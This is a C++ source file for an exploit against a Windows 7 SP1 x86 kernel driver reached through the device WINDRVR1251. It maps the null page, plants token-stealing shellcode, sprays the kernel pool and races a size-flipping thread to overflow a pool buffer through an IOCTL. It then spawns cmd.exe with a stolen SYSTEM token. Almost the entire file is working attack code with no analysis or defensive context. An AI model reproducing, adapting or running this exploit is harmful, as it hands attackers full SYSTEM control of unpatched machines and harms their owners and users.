// ConsoleApplication1.cpp : Defines the entry point for the console application. //
#include "stdafx.h" #include <Windows.h> #include <winioctl.h>
#define device L"\\\\.\\WINDRVR1251" #define SPRAY_SIZE 30000
typedef NTSTATUS(WINAPI *PNtAllocateVirtualMemory)( HANDLE ProcessHandle, PVOID *BaseAddress, ULONG ZeroBits, PULONG AllocationSize, ULONG AllocationType, ULONG Protect );
// Windows 7 SP1 x86 Offsets #define KTHREAD_OFFSET 0x124 // nt!_KPCR.PcrbData.CurrentThread #define EPROCESS_OFFSET 0x050 // nt!_KTHREAD.ApcState.Process #define PID_OFFSET 0x0B4 // nt!_EPROCESS.UniqueProcessId #define FLINK_OFFSET 0x0B8 // nt!_EPROCESS.ActiveProcessLinks.Flink #define TOKEN_OFFSET 0x0F8 // nt!_EPROCESS.Token #define SYSTEM_PID 0x004 // SYSTEM Process PID /* * The caller expects to call a cdecl function with 4 (0x10 bytes) arguments. */ __declspec(naked) VOID TokenStealingShellcode() { __asm { hasRun: xor eax, eax; Set zero cmp byte ptr [eax], 1; If this is 1, we have already run this code jz End; mov byte ptr [eax], 1; Indicate that this code has been hit already
; initialize mov eax, fs:[eax + KTHREAD_OFFSET]; Get nt!_KPCR.PcrbData.CurrentThread mov eax, [eax + EPROCESS_OFFSET]; Get nt!_KTHREAD.ApcState.Process
mov ecx, eax; Copy current _EPROCESS structure
mov ebx, [eax + TOKEN_OFFSET]; Copy current nt!_EPROCESS.Token mov edx, SYSTEM_PID; WIN 7 SP1 SYSTEM Process PID = 0x4
; begin system token search loop SearchSystemPID : mov eax, [eax + FLINK_OFFSET]; Get nt!_EPROCESS.ActiveProcessLinks.Flink sub eax, FLINK_OFFSET cmp[eax + PID_OFFSET], edx; Get nt!_EPROCESS.UniqueProcessId jne SearchSystemPID
mov edx, [eax + TOKEN_OFFSET]; Get SYSTEM process nt!_EPROCESS.Token mov[ecx + TOKEN_OFFSET], edx; Copy nt!_EPROCESS.Token of SYSTEM to current process
End : ret 0x10; cleanup for cdecl
} }
BOOL map_null_page() { /* Begin NULL page map */ HMODULE hmodule = LoadLibraryA("ntdll.dll"); if (hmodule == INVALID_HANDLE_VALUE) { printf("[x] Couldn't get handle to ntdll.dll\n"); return FALSE; } PNtAllocateVirtualMemory AllocateVirtualMemory = (PNtAllocateVirtualMemory)GetProcAddress(hmodule, "NtAllocateVirtualMemory"); if (AllocateVirtualMemory == NULL) { printf("[x] Couldn't get address of NtAllocateVirtualMemory\n"); return FALSE; }
SIZE_T size = 0x1000; PVOID address = (PVOID)0x1; NTSTATUS allocStatus = AllocateVirtualMemory(GetCurrentProcess(), &address, 0, &size, MEM_RESERVE | MEM_COMMIT | MEM_TOP_DOWN, PAGE_EXECUTE_READWRITE);
if (allocStatus != 0) { printf("[x] Error mapping null page\n"); return FALSE; } printf("[+] Mapped null page\n"); return TRUE; }
/* * Continually flip the size * @Param user_size - a pointer to the user defined size */ DWORD WINAPI flip_thread(LPVOID user_size) { printf("[+] Flipping thread started\n"); while (TRUE) { *(ULONG *)(user_size) ^= 10; //flip between 0x52 and 0x58, giving a 0x40 byte overflow. } return 0; }
DWORD WINAPI ioctl_thread(LPVOID user_buff) { char out_buff[40]; DWORD bytes_returned; HANDLE hdevice = CreateFile(device, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0 );
if (hdevice == INVALID_HANDLE_VALUE) { printf("[x] Couldn't open device\n"); }
NTSTATUS ret = DeviceIoControl(hdevice, 0x95382623, user_buff, 0x1000, out_buff, 40, &bytes_returned, 0); CloseHandle(hdevice); return 0; }
void spray_pool(HANDLE handle_arr[]) { //create SPRAY_SIZE event objects filling up the pool for (int i = 0; i < SPRAY_SIZE; i++) { handle_arr[i] = CreateEvent(NULL, 0, NULL, L""); }
for (int i = 0; i < SPRAY_SIZE; i+=50) { for (int j = 0; j < 14 && j + i < SPRAY_SIZE; j++) { CloseHandle(handle_arr[j + i]); handle_arr[j + i] = 0; } } }
void free_events(HANDLE handle_arr[]) { for (int i = 0; i < SPRAY_SIZE; i++) { if (handle_arr[i] != 0) { CloseHandle(handle_arr[i]); } } }
BOOL check_priv_count(DWORD old_count, PDWORD updated_count) { HANDLE htoken; DWORD length; DWORD temp; DWORD new_count; PTOKEN_PRIVILEGES current_priv = NULL;
if (!OpenProcessToken(GetCurrentProcess(), GENERIC_READ, &htoken)) { printf("[x] Couldn't get current token\n"); return FALSE; }
//get the size required for the current_priv allocation GetTokenInformation(htoken, TokenPrivileges, current_priv, 0, &length);
//allocate memory for the structure current_priv = (PTOKEN_PRIVILEGES)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, length);
//get the actual token info GetTokenInformation(htoken, TokenPrivileges, current_priv, length, &length); new_count = current_priv->PrivilegeCount;
HeapFree(GetProcessHeap(), 0, current_priv); CloseHandle(htoken);
temp = old_count; //store the old count *updated_count = new_count; //update the count if (new_count > old_count) { printf("[+] We now have %d privileges\n", new_count); return TRUE; } else return FALSE; }
int main() { HANDLE h_flip_thread; HANDLE h_ioctl_thread; HANDLE handle_arr[SPRAY_SIZE] = { 0 }; DWORD mask = 0; DWORD orig_priv_count = 0; char *user_buff; check_priv_count(-1, &orig_priv_count); printf("[+] Original priv count: %d\n", orig_priv_count);
if (!map_null_page()) { return -1; }
*(ULONG *)0x74 = (ULONG)&TokenStealingShellcode;
user_buff = (char *)VirtualAlloc(NULL, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_NOCACHE | PAGE_READWRITE);
if (user_buff == NULL) { printf("[x] Couldn't allocate memory for buffer\n"); return -1; } memset(user_buff, 0x41, 0x1000);
*(ULONG *)(user_buff + 0x34) = 0x00000052; //set the size initially to 0x51
//pool header block *(ULONG *)(user_buff + 0x374) = 0x04080070; //ULONG1 *(ULONG *)(user_buff + 0x378) = 0xee657645;//PoolTag
//QuotaInfo block *(ULONG *)(user_buff + 0x37c) = 0x00000000; //PagedPoolCharge *(ULONG *)(user_buff + 0x380) = 0x00000040; //NonPagedPoolCharge *(ULONG *)(user_buff + 0x384) = 0x00000000; //SecurityDescriptorCharge *(ULONG *)(user_buff + 0x388) = 0x00000000; //SecurityDescriptorQuotaBlock
//Event header block *(ULONG *)(user_buff + 0x38c) = 0x00000001; //PointerCount *(ULONG *)(user_buff + 0x390) = 0x00000001; //HandleCount *(ULONG *)(user_buff + 0x394) = 0x00000000; //NextToFree *(ULONG *)(user_buff + 0x398) = 0x00080000; //TypeIndex <--- NULL POINTER *(ULONG *)(user_buff + 0x39c) = 0x867b3940; //objecteCreateInfo *(ULONG *)(user_buff + 0x400) = 0x00000000; *(ULONG *)(user_buff + 0x404) = 0x867b3940; //QuotaBlockCharged
/* * create a suspended thread for flipping, passing in a pointer to the size at user_buff+0x34 * Set its priority to highest. * Set its mask so that it runs on a particular core. */ h_flip_thread = CreateThread(NULL, 0, flip_thread, user_buff + 0x34, CREATE_SUSPENDED, 0); SetThreadPriority(h_flip_thread, THREAD_PRIORITY_HIGHEST); SetThreadAffinityMask(h_flip_thread, 0); ResumeThread(h_flip_thread); printf("[+] Starting race...\n");
spray_pool(handle_arr);
while (TRUE) { h_ioctl_thread = CreateThread(NULL, 0, ioctl_thread, user_buff, CREATE_SUSPENDED, 0); SetThreadPriority(h_ioctl_thread, THREAD_PRIORITY_HIGHEST); SetThreadAffinityMask(h_ioctl_thread, 1); ResumeThread(h_ioctl_thread); WaitForSingleObject(h_ioctl_thread, INFINITE);
free_events(handle_arr); //free the event objects
if (check_priv_count(orig_priv_count, &orig_priv_count)) { printf("[+] Breaking out of loop, popping shell!\n"); break; } //pool header block *(ULONG *)(user_buff + 0x374) = 0x04080070; //ULONG1 *(ULONG *)(user_buff + 0x378) = 0xee657645;//PoolTag
//QuotaInfo block *(ULONG *)(user_buff + 0x37c) = 0x00000000; //PagedPoolCharge *(ULONG *)(user_buff + 0x380) = 0x00000040; //NonPagedPoolCharge *(ULONG *)(user_buff + 0x384) = 0x00000000; //SecurityDescriptorCharge *(ULONG *)(user_buff + 0x388) = 0x00000000; //SecurityDescriptorQuotaBlock
//Event header block *(ULONG *)(user_buff + 0x38c) = 0x00000001; //PointerCount *(ULONG *)(user_buff + 0x390) = 0x00000001; //HandleCount *(ULONG *)(user_buff + 0x394) = 0x00000000; //NextToFree *(ULONG *)(user_buff + 0x398) = 0x00080000; //TypeIndex <--- NULL POINTER *(ULONG *)(user_buff + 0x39c) = 0x867b3940; //objecteCreateInfo *(ULONG *)(user_buff + 0x400) = 0x00000000; *(ULONG *)(user_buff + 0x404) = 0x867b3940; //QuotaBlockCharged
spray_pool(handle_arr); }
system("cmd.exe");
return 0; }
|